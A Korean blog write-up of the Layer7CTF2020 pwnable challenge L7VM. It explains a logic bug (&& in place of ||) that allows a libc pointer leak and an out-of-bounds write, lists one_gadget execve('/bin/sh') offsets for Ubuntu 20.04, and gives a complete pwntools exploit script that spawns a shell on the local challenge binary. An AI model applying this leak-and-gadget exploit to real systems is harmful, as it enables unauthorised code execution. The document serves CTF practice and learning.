본문 바로가기

카테고리 없음

Layer7CTF2020 Pwnable_L7VM Write up

되게 재밌게 본 문제다.

 

일단 리버싱은 풀었는데 리버싱 기반으로 취약점 하나하나 분석해나가는데 버퍼오버플로우는 찾았는데 Leak부분을 못찾아서 매우 골머리를 앓고 있었다.

 

그러던 와중에 대회가 끝나버리고 mov 쪽에서 언인텐이 터진다는걸 알았다 ㅋㅋ..

그래서 바로 그 부분 확인하고 Leak 한다음에 원가젯으로 풀었다.

 

문제가 되는 코드이다

|| 연산을 해줘야 되는데 && 연산을 하고 있다. 내가 이걸 왜 대회중에 눈치를 못챘을까...

그래서 이거로 7058에 Leak 포인터 넣고

write로 leak 한다음에 

여기서 OOB터지는데 이걸로 원가젯을 날려줬다.

 

0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

0xe6ce3 execve("/bin/sh", r10, r12) constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL

0xe6ce6 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL

0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

0xe6ce3 execve("/bin/sh", r10, r12) constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL

0xe6ce6 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL

 

20.04는 이 조건이다

이것만 잘 기억하면 된다.

 

 

#!/usr/bin/env python

from pwn import *

p = process("./L7VM")

p.sendlineafter("# Input mode : ", str(1))

context.log_level = "DEBUG"

#pause()

payload = "\x11\x7D"
payload += "\x29\x02"
payload += "\x21\x01\x7B\x01\x02\x07\x00"

payload += "\x21"
payload += "\x00"
payload += "\x7A"
payload += "\x00"
payload += "\xf1"
payload += "\x15"
payload += "\x00"

p.sendafter("# Input your VM code : ", payload)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success(hex(leak))
base = leak - 0x235190
success(hex(base))
one = base + 0xe6ce3

payload = "\x00"
payload += p64(one)

p.sendline(payload)

p.interactive()